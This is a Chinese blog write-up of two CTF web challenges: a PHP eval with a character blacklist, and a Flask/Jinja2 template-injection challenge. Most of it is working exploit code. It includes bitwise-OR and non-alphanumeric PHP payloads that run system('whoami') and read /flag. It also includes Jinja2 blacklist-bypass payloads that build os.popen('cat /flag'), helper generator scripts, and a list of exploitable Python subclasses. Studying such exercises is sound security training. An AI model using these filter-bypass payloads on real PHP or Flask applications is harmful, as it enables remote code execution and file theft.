3rsh1
/single dog/college student/ctfer
3rsh1's Blog

安恒八月赛[wp]

情人节的时候的比赛,刚好比赛前一天电脑进水了,就错过了这场比赛。然后就整理一下wp,对。唉

ezrce

源码如下:

<?php
error_reporting(0);
show_source(__FILE__);
code=_POST['code'];
_=array('a','b','c','d','e','f','g','h','i','j','k','m','n','l','o','p','q','r','s','t','u','v','w','x','y','z','@','\~','\^','\[','\]','\&','\?','\<','\>','\*','1','2','3','4','5','6','7','8','9','0');
//This blacklist is so stupid.blacklist = array_merge(_);
foreach (blacklist as blacklisted) {
    if (preg_match ('/' .blacklisted . '/im', code)) {
        die('you are not smart');
    }
}
eval("echo(code)");
?>

法1:

很简单的一道题目,过滤的挺全但是没有过滤|或运算符,所以嘞,直接上脚本看一看。

b="ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijkmnlopqrstuvwxyz@~^[]&?<>*1234567890"
for i in range(0,256):
    for s in range(0,256):
        if chr(i) not in b:
            if chr(s) not in b:
                if(i|s>32 and i|s<127):
                    print(i,s,chr(i),chr(s),chr(i|s))

发现可以完美构造字符,b是被过滤了的字符。直接system(),执行命令。

(%22%13%19%13%14%25-%22%7C%22%60%60%60%60%60%60%22)(%22%60%60%60%60%60%60%22%7C%22%17%08%0F!-%09"))%3B%2F%2F
system("whoami");//

post传值的时候可能会遇到一些错误即url ******,要注意需要url编码raw数据。php内的urlencode()函数即可。

法2:

y1ng师傅博客上看到的,貌似和自己一开始的想法差不多,payload非常长。这里就先贴出来一个自己还没写完的payload吧。主要思路就是:"!"="!"为1,"!"!="!"为0,1/0INF0/0NaN。然后a递增即可获得所有的字母。

$__=((("!"!="&")/("!"=="&")).("")){(("!"=="!")+("!"=="!"))};$____=$__;  //f
$___=((("!"!="&")/("!"=="&")).("")){("!"!="!")} ;$_____=$___; //i
$___++;$___++;$___++;$______=$___; //l
$_=((("!"!="!")/("!"!="!")).("!")){("!"=="!")};$_++;$_++;$_++;$_++;$_______=$_; //e
$__++;$________=$__;//g
$__++;
$_______;//e
//echo $____.$_____.$______.$_______;
$_=((("!"!="&")/("!"=="&")).("")){(("!"=="!"))};$_++;$_++;$_++;$_++;$_++;$_++;$_________=$_; //t
$_=((("!"!="!")/("!"!="!")).("!")){("!"=="!")};$_++;$_++;$__________=$_; // c 10
$___________=((("!"=="!")/("!"!="!")).(("!"!="!"))){("!"!="!")}|((("!"=="!")/("!"!="!")).(("!"!="!"))){(("!"=="!")+("!"=="!"))};// o 11
$____________=((("!"!="&")/("!"=="&")).("")){(("!"=="!"))};// n 12
$_________;//t
$_______;//e
$____________;//n
$_________;//t
$_=((("!"!="!")/("!"!="!")).(("!"!="!"))){("!"=="!")}|(((("!"=="!")+("!"=="!"))).(("!"!="!"))){("!"!="!")};
//(
$____; //f
$______;//l
$_____________=((("!"!="!")/("!"!="!")).("!")){("!"=="!")};//a
$________;//g
$______________=($____.$_____.$______.$_______."_".$________.$_______.$_________."_".$__________.$___________.$____________.$_________.$_______.$____________.$_________.$_)($____.$______.$_____________.$________);
var_dump($______________);//file_get_contents("/flag");

然后y1ng师傅的构造要精妙一些,在php中变量不需要提前定义,那么++$a;也是可以的,$a就变成了1。这样10就都有了。

贴出来y1ng师傅的脚本:

#!/usr/bin/env python3
#-*- coding:utf-8 -*-
#__author__: 颖奇L'Amore www.gem-love.com
import requests
from urllib.parse import quote_plus

def g(payload, buff):
    offset = 3 + buff
    res = ""
    base = 65
    for i in range(len(payload)):
        if payload[i] == '_' or payload[i] == '/':
            continue
        _ascii = ord(payload[i])
        #init
        underline =  "" + ("_" * (i + offset))
        undefined = "" + ("_" * (len(payload) + offset + 15))
        var = f"++{underline};__-={underline};__++;{underline}/=__;{underline}=(({undefined}/{undefined}).{underline})"+r"{++__};__--;"
        res += var
        tmp = ''
        if _ascii>base:
            for i in range(_ascii-base):
                tmp = tmp + f"++{underline};"
        res += tmp

    first =  "" + ("_" * offset)
    for i in range(1, len(payload)):
        if payload[i] == '_':
            res += f"{first}.='_';"
            continue
        if payload[i] == '/':
            res += f"{first}.='/';"
            continue
        final_var = "" + ("_" * (i + offset))
        res += f"{first}.={final_var};"
    return [res, "" + "_" * (offset)]

pre = "'');"
after = '//'

buff = len('STRTOLOWERSHOW_SOURCE')
flag = g("/FLAG", buff)

buff = len('STRTOLOWER')
showsource = g("SHOW_SOURCE", buff)

buff = 0
strtolower = g('STRTOLOWER', buff)

final = ''

#1.构造STRTOLOWER并存进变量a
final += strtolower[0]
a = strtolower[1] # a = '___' # STRTOLOWER

#2.构造SHOW_SOURCE并存进变量b
final += showsource[0]
b = showsource[1] # b = '_____________' #SHOW_SOURCE

#3.构造/FLAG并存进变量c
final += flag[0] + flag[1] + "='/'." + flag[1] + ';'
c = flag[1] # c = '________________________' #/FLAG

#声明好abc变量
padding = f'______________________________________________={a};_______________________________________________={b};________________________________________________={c};'
final += padding

# 4.变量d = a(c) 则变量d为/flag
d = "______________________________________________(________________________________________________);"
padding = '_________________________________________________='+d
final += padding

#5. b(d) 即为SHOW_SOURCE('/flag')
final += '_______________________________________________($_________________________________________________);'

final = pre + final
final = final + after

print(final.replace('+', '%2b'))

ezflask

这些都是可以利用的类,找builtins,然后找内置的库和函数。

贴出来题目的源码:

#!/usr/bin/env python
# -*- coding: utf-8 -*-
from flask import Flask, render_template, render_template_string, redirect, request, session, abort, send_from_directory
app = Flask(__name__)


@app.route("/")
def index():
    def safe_jinja(s):
        blacklist = ['class', 'attr', 'mro', 'base',
                     'request', 'session', '+', 'add', 'chr', 'ord', 'redirect', 'url_for', 'config', 'builtins', 'get_flashed_messages', 'get', 'subclasses', 'form', 'cookies', 'headers', '[', ']', '\'', '"', '{}']
        flag = True
        for no in blacklist:
            if no.lower() in s.lower():
                flag = False
                break
        return flag
    if not request.args.get('name'):
        return open(__file__).read()
    elif safe_jinja(request.args.get('name')):
        name = request.args.get('name')
    else:
        name = 'wendell'
    template = '''

    <div class="center-content">
        <p>Hello, %s</p>
    </div>
    <!--flag in /flag-->
    <!--python3.8-->
''' % (name)
    return render_template_string(template)


if __name__ == "__main__":
    app.run(host='0.0.0.0', port=5000)

法1:

我的思路:

__doc__,大部分函数或者变量啥的都会有这个属性,主要是对其的介绍,主要用来找字符。

a.__getitem__(1)a[1],性质是一样的,所以可以用来弹字符,但是get被过滤了,所以可以用listpop

a-z可以在dict.__doc__里面找。

' ( ) .等符号可以在a.__doc__里面找。

_可以在y.__init__里面找。

把字符串转化成(a,b,c)的形式,拼接字符串用|join()

既可以弹字符又可以拼接字符那么payload就没跑了,但是由于我们构造的形式是字符串所以不能简单的拼接。比如:[].a,这样是不可以的,但是[][a]是没问题的,其中a是我们设置的变量。但是我们可以用循环和判断语句来逐渐深入。这里借用y1ng师傅的脚本:

{% for f,v in y1ng.__init__.__globals__.items() %} #globals
    {% if f == bul %} 
        {% for a,b in v.items() %}  #builtins
            {% if a == ev %} #eval
                {{b(pld)}} #eval(pld)
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

此外就不多说了。

法2:

这里的list也是可以分割字符串的。

print(list("hahaha")) #['h','a'.....]

那么就可以用pop()函数来弹字符。

别的字符可以用:

{% set os = dict(o=a,s=a)|join() %}

dict函数用于创建一个字典,这里的键值需要按变量赋值的形式。但是创建之后的字典的键就是字符串,巧妙的完成了变量名到字符串的转变。同样若是字典的值为没有定义的变量,那么创建的字典中的值则为undefined。r然后加以join()的拼接则实际上为键的拼接,巧妙的完成了字符串的拼接。

当然也可以这样:

{% set os = dict(o=1,s=1).keys|join() %}

然后贴出来脚本:

#Author:颖奇L'Amore
{% set xhx = (({ }|select()|string()|list()).pop(24)|string())%}  # _
{% set spa = ((app.__doc__|list()).pop(102)|string())%}  #空格
{% set pt = ((app.__doc__|list()).pop(320)|string())%}  #点
{% set yin = ((app.__doc__|list()).pop(337)|string())%}   #单引号
{% set left = ((app.__doc__|list()).pop(264)|string())%}   #左括号 (
{% set right = ((app.__doc__|list()).pop(286)|string())%}   #右括号)
{% set slas = (y1ng.__init__.__globals__.__repr__()|list()).pop(349)%}   #斜线/
{% set bu = dict(buil=aa,tins=dd)|join() %}  #builtins
{% set im = dict(imp=aa,ort=dd)|join() %}  #import
{% set sy = dict(po=aa,pen=dd)|join() %}  #popen
{% set os = dict(o=aa,s=dd)|join() %}  #os
{% set ca = dict(ca=aa,t=dd)|join() %}  #cat
{% set flg = dict(fl=aa,ag=dd)|join() %}  #flag
{% set ev = dict(ev=aa,al=dd)|join() %} #eval
{% set red = dict(re=aa,ad=dd)|join()%}  #read
{% set bul = xhx*2~bu~xhx*2 %}  #__builtins__

#拼接起来 __import__('os').popen('cat /flag').read()
{% set pld = xhx*2~im~xhx*2~left~yin~os~yin~right~pt~sy~left~yin~ca~spa~slas~flg~yin~right~pt~red~left~right %} 


{% for f,v in y1ng.__init__.__globals__.items() %} #globals
    {% if f == bul %} 
        {% for a,b in v.items() %}  #builtins
            {% if a == ev %} #eval
                {{b(pld)}} #eval(pld)
            {% endif %}
        {% endfor %}
    {% endif %}
{% endfor %}

关于flask自己fuzz了一下可以利用的类:

&.__init__.__globals__.__builtins__['eval']

75 <class '_frozen_importlib._ModuleLock'>
76 <class '_frozen_importlib._DummyModuleLock'>
77 <class '_frozen_importlib._ModuleLockManager'>
78 <class '_frozen_importlib._installed_safely'>
79 <class '_frozen_importlib.ModuleSpec'>
91 <class '_frozen_importlib_external.FileLoader'>
92 <class '_frozen_importlib_external._NamespacePath'>
93 <class '_frozen_importlib_external._NamespaceLoader'>
95 <class '_frozen_importlib_external.FileFinder'>
103 <class 'codecs.IncrementalEncoder'>
104 <class 'codecs.IncrementalDecoder'>
105 <class 'codecs.StreamReaderWriter'>
106 <class 'codecs.StreamRecoder'>
128 <class 'os._wrap_close'>
129 <class '_sitebuiltins.Quitter'>
130 <class '_sitebuiltins._Printer'>
137 <class 'types.DynamicClassAttribute'>
138 <class 'types._GeneratorWrapper'>
147 <class 'sre_parse.Pattern'>
148 <class 'sre_parse.SubPattern'>
149 <class 'sre_parse.Tokenizer'>
175 <class 'reprlib.Repr'>
177 <class 'functools.partialmethod'>
178 <class 're.Scanner'>
179 <class 'string.Template'>
181 <class 'markupsafe._MarkupEscapeHelper'>
182 <class 'warnings.WarningMessage'>
183 <class 'warnings.catch_warnings'>
186 <class 'tokenize.Untokenizer'>
187 <class 'traceback.FrameSummary'>
188 <class 'traceback.TracebackException'>
189 <class '_weakrefset._IterationGuard'>
190 <class '_weakrefset.WeakSet'>
191 <class 'threading._RLock'>
192 <class 'threading.Condition'>
193 <class 'threading.Semaphore'>
194 <class 'threading.Event'>
195 <class 'threading.Barrier'>
196 <class 'threading.Thread'>
212 <class 'weakref.finalize'>
214 <class 'tempfile._TemporaryFileCloser'>
215 <class 'tempfile._TemporaryFileWrapper'>
216 <class 'tempfile.SpooledTemporaryFile'>
217 <class 'tempfile.TemporaryDirectory'>
220 <class 'pickle._Framer'>
221 <class 'pickle._Unframer'>
222 <class 'pickle._Pickler'>
223 <class 'pickle._Unpickler'>
234 <class 'json.decoder.JSONDecoder'>
235 <class 'json.encoder.JSONEncoder'>
237 <class 'jinja2.utils.LRUCache'>
238 <class 'jinja2.utils.Cycler'>
239 <class 'jinja2.utils.Joiner'>
240 <class 'jinja2.utils.Namespace'>
241 <class 'jinja2.bccache.Bucket'>
243 <class 'jinja2.nodes.EvalContext'>
244 <class 'jinja2.nodes.Node'>
246 <class 'jinja2.idtracking.Symbols'>
247 <class '__future__._Feature'>
248 <class 'jinja2.compiler.MacroRef'>
249 <class 'jinja2.compiler.Frame'>
250 <class 'jinja2.runtime.TemplateReference'>
251 <class 'jinja2.runtime.Context'>
252 <class 'jinja2.runtime.BlockReference'>
253 <class 'jinja2.runtime.LoopContext'>
254 <class 'jinja2.runtime.Macro'>
255 <class 'jinja2.runtime.Undefined'>
263 <class 'jinja2.lexer.Failure'>
264 <class 'jinja2.lexer.TokenStreamIterator'>
265 <class 'jinja2.lexer.TokenStream'>
266 <class 'jinja2.lexer.Lexer'>
267 <class 'jinja2.parser.Parser'>
268 <class 'jinja2.environment.Environment'>
270 <class 'jinja2.environment.TemplateModule'>
271 <class 'jinja2.environment.TemplateExpression'>
272 <class 'jinja2.environment.TemplateStream'>
280 <class 'dis.Bytecode'>
281 <class 'inspect.BlockFinder'>
284 <class 'inspect.Parameter'>
285 <class 'inspect.BoundArguments'>
286 <class 'inspect.Signature'>
287 <class 'logging.LogRecord'>
288 <class 'logging.PercentStyle'>
289 <class 'logging.Formatter'>
290 <class 'logging.BufferingFormatter'>
291 <class 'logging.Filter'>
292 <class 'logging.Filterer'>
293 <class 'logging.PlaceHolder'>
294 <class 'logging.Manager'>
295 <class 'logging.LoggerAdapter'>
297 <class 'werkzeug._internal._DictAccessorProperty'>
302 <class 'contextlib._GeneratorContextManagerBase'>
303 <class 'contextlib._BaseExitStack'>
304 <class 'pkgutil.ImpImporter'>
305 <class 'pkgutil.ImpLoader'>
306 <class 'werkzeug.utils.HTMLBuilder'>
307 <class 'werkzeug.exceptions.Aborter'>
308 <class 'werkzeug.urls.Href'>
309 <class 'socketserver.BaseServer'>
311 <class 'socketserver.BaseRequestHandler'>
312 <class 'calendar._localized_month'>
313 <class 'calendar._localized_day'>
314 <class 'calendar.Calendar'>
315 <class 'calendar.different_locale'>
316 <class 'email._parseaddr.AddrlistClass'>
317 <class 'email.charset.Charset'>
318 <class 'email.header.Header'>
319 <class 'email.header._ValueFormatter'>
320 <class 'email._policybase._PolicyBase'>
321 <class 'email.feedparser.BufferedSubFile'>
322 <class 'email.feedparser.FeedParser'>
323 <class 'email.parser.Parser'>
324 <class 'email.parser.BytesParser'>
325 <class 'email.message.Message'>
326 <class 'http.client.HTTPConnection'>
331 <class 'ssl.SSLObject'>
332 <class 'mimetypes.MimeTypes'>
333 <class 'click._compat._FixupStream'>
334 <class 'click._compat._AtomicFile'>
340 <class 'ctypes.CDLL'>
341 <class 'ctypes.LibraryLoader'>
342 <class 'click._winconsole.ConsoleStream'>
343 <class 'click._winconsole.WindowsChunkedWriter'>
344 <class 'colorama.ansi.AnsiCodes'>
348 <class 'colorama.winterm.WinTerm'>
349 <class 'colorama.ansitowin32.StreamWrapper'>
350 <class 'colorama.ansitowin32.AnsiToWin32'>
351 <class 'click.utils.LazyFile'>
352 <class 'click.utils.KeepOpenFile'>
353 <class 'click.utils.PacifyFlushWrapper'>
355 <class 'click.parser.Option'>
356 <class 'click.parser.Argument'>
357 <class 'click.parser.ParsingState'>
358 <class 'click.parser.OptionParser'>
359 <class 'click.formatting.HelpFormatter'>
360 <class 'click.core.Context'>
361 <class 'click.core.BaseCommand'>
362 <class 'click.core.Parameter'>
364 <class 'werkzeug.serving.WSGIRequestHandler'>
365 <class 'werkzeug.serving._SSLContext'>
366 <class 'werkzeug.serving.BaseWSGIServer'>
370 <class 'werkzeug.datastructures.ViewItems'>
371 <class 'werkzeug.datastructures._omd_bucket'>
372 <class 'werkzeug.datastructures.Headers'>
374 <class 'werkzeug.datastructures.IfRange'>
375 <class 'werkzeug.datastructures.Range'>
376 <class 'werkzeug.datastructures.ContentRange'>
377 <class 'werkzeug.datastructures.FileStorage'>
378 <class 'urllib.request.Request'>
379 <class 'urllib.request.OpenerDirector'>
381 <class 'urllib.request.HTTPPasswordMgr'>
382 <class 'urllib.request.AbstractBasicAuthHandler'>
383 <class 'urllib.request.AbstractDigestAuthHandler'>
384 <class 'urllib.request.URLopener'>
385 <class 'urllib.request.ftpwrapper'>
389 <class 'werkzeug.wsgi.ClosingIterator'>
390 <class 'werkzeug.wsgi.FileWrapper'>
391 <class 'werkzeug.wsgi._RangeWrapper'>
392 <class 'werkzeug.formparser.FormDataParser'>
393 <class 'werkzeug.formparser.MultiPartParser'>
394 <class 'werkzeug.wrappers.base_request.BaseRequest'>
395 <class 'werkzeug.wrappers.base_response.BaseResponse'>
402 <class 'werkzeug.useragents.UserAgentParser'>
403 <class 'werkzeug.useragents.UserAgent'>
406 <class 'werkzeug.wrappers.response.ResponseStream'>
408 <class 'http.cookiejar.Cookie'>
411 <class 'http.cookiejar.CookieJar'>
412 <class 'werkzeug.test._TestCookieHeaders'>
413 <class 'werkzeug.test._TestCookieResponse'>
414 <class 'werkzeug.test.EnvironBuilder'>
415 <class 'werkzeug.test.Client'>
416 <class 'uuid.UUID'>
418 <class 'hmac.HMAC'>
420 <class 'itsdangerous.signer.Signer'>
421 <class 'itsdangerous.serializer.Serializer'>
423 <class 'flask._compat._DeprecatedBool'>
424 <class 'werkzeug.local.Local'>
425 <class 'werkzeug.local.LocalStack'>
426 <class 'werkzeug.local.LocalManager'>
427 <class 'werkzeug.local.LocalProxy'>
430 <class 'dataclasses._FIELD_BASE'>
432 <class 'dataclasses.Field'>
433 <class 'dataclasses._DataclassParams'>
434 <class 'difflib.SequenceMatcher'>
435 <class 'difflib.Differ'>
436 <class 'difflib.HtmlDiff'>
437 <class 'pprint._safe_key'>
438 <class 'pprint.PrettyPrinter'>
440 <class 'werkzeug.routing.RuleTemplate'>
441 <class 'werkzeug.routing.BaseConverter'>
442 <class 'werkzeug.routing.Map'>
443 <class 'werkzeug.routing.MapAdapter'>
445 <class 'subprocess.STARTUPINFO'>
446 <class 'subprocess.CompletedProcess'>
447 <class 'subprocess.Popen'>
449 <class 'flask.signals._FakeSignal'>
450 <class 'flask.helpers.locked_cached_property'>
451 <class 'flask.helpers._PackageBoundObject'>
460 <class 'dotenv.parser.Reader'>
461 <class 'dotenv.main.DotEnv'>
462 <class 'flask.cli.DispatchingApp'>
463 <class 'flask.cli.ScriptInfo'>
464 <class 'flask.config.ConfigAttribute'>
466 <class 'flask.ctx.AppContext'>
467 <class 'flask.ctx.RequestContext'>
468 <class 'flask.json.tag.JSONTag'>
469 <class 'flask.json.tag.TaggedJSONSerializer'>
473 <class 'flask.blueprints.BlueprintSetupState'>

参考链接:

https://www.gem-love.com/ctf/2598.html
https://www.mi1k7ea.com/2019/06/02/%E6%B5%85%E6%9E%90Python-Flask-SSTI/#%E8%BF%87%E6%BB%A4%E5%BC%95%E5%8F%B7

发表评论

textsms
account_circle
email

3rsh1's Blog

安恒八月赛[wp]
情人节的时候的比赛,刚好比赛前一天电脑进水了,就错过了这场比赛。然后就整理一下wp,对。唉 ezrce 源码如下: <?php error_reporting(0); show_source(__FILE__); $code=$_POST…
扫描二维码继续阅读
2020-09-03